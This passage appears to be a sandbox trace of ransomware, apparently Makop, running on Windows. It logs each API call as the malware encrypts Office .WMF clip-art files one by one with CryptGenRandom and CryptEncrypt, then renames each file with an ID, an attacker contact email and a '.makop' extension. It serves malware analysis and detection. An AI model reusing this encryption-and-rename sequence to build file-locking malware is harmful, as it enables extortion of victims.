nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.691] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.691] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.692] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.692] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.692] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.692] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb2e, lpOverlapped=0x0) returned 1 [0165.692] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb30, dwBufLen=0xb30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb30) returned 1 [0165.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.692] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb30, lpOverlapped=0x0) returned 1 [0165.693] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.693] SetEndOfFile (hFile=0x130) returned 1 [0165.699] GetProcessHeap () returned 0x48a0000 [0165.699] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.699] GetProcessHeap () returned 0x48a0000 [0165.699] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.699] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.702] CloseHandle (hObject=0x130) returned 1 [0165.702] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0165.702] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF") returned 70 [0165.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.703] GetProcessHeap () returned 0x48a0000 [0165.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.704] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.704] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0165.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.708] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.708] GetProcessHeap () returned 0x48a0000 [0165.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.708] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.708] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.708] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.708] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.708] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.709] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.709] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.709] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.709] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.709] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc5e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc5e, lpOverlapped=0x0) returned 1 [0165.709] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc60, dwBufLen=0xc60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc60) returned 1 [0165.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.710] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc60, lpOverlapped=0x0) returned 1 [0165.710] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.710] SetEndOfFile (hFile=0x130) returned 1 [0165.716] GetProcessHeap () returned 0x48a0000 [0165.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.716] GetProcessHeap () returned 0x48a0000 [0165.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.716] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.719] CloseHandle (hObject=0x130) returned 1 [0165.719] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0165.719] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF") returned 70 [0165.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.720] GetProcessHeap () returned 0x48a0000 [0165.720] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.720] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.721] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0165.725] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.725] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.725] GetProcessHeap () returned 0x48a0000 [0165.725] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.725] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.725] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.725] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.725] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.725] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.725] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.726] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.726] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.726] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd22, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd22, lpOverlapped=0x0) returned 1 [0165.726] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd30, dwBufLen=0xd30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd30) returned 1 [0165.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.727] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd30, lpOverlapped=0x0) returned 1 [0165.727] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.727] SetEndOfFile (hFile=0x130) returned 1 [0165.733] GetProcessHeap () returned 0x48a0000 [0165.733] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.733] GetProcessHeap () returned 0x48a0000 [0165.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.734] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.735] CloseHandle (hObject=0x130) returned 1 [0165.735] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0165.735] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF") returned 70 [0165.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.736] GetProcessHeap () returned 0x48a0000 [0165.736] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.737] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.737] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0165.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.741] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.741] GetProcessHeap () returned 0x48a0000 [0165.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.741] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.741] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.741] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.741] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.742] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.742] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.742] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.742] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.742] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.742] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd42, lpOverlapped=0x0) returned 1 [0165.743] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd50, dwBufLen=0xd50 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd50) returned 1 [0165.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.743] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd50, lpOverlapped=0x0) returned 1 [0165.743] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.743] SetEndOfFile (hFile=0x130) returned 1 [0165.750] GetProcessHeap () returned 0x48a0000 [0165.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.750] GetProcessHeap () returned 0x48a0000 [0165.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.750] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.753] CloseHandle (hObject=0x130) returned 1 [0165.753] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0165.753] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF") returned 70 [0165.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.755] GetProcessHeap () returned 0x48a0000 [0165.755] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.755] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.756] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.760] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.760] GetProcessHeap () returned 0x48a0000 [0165.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.760] 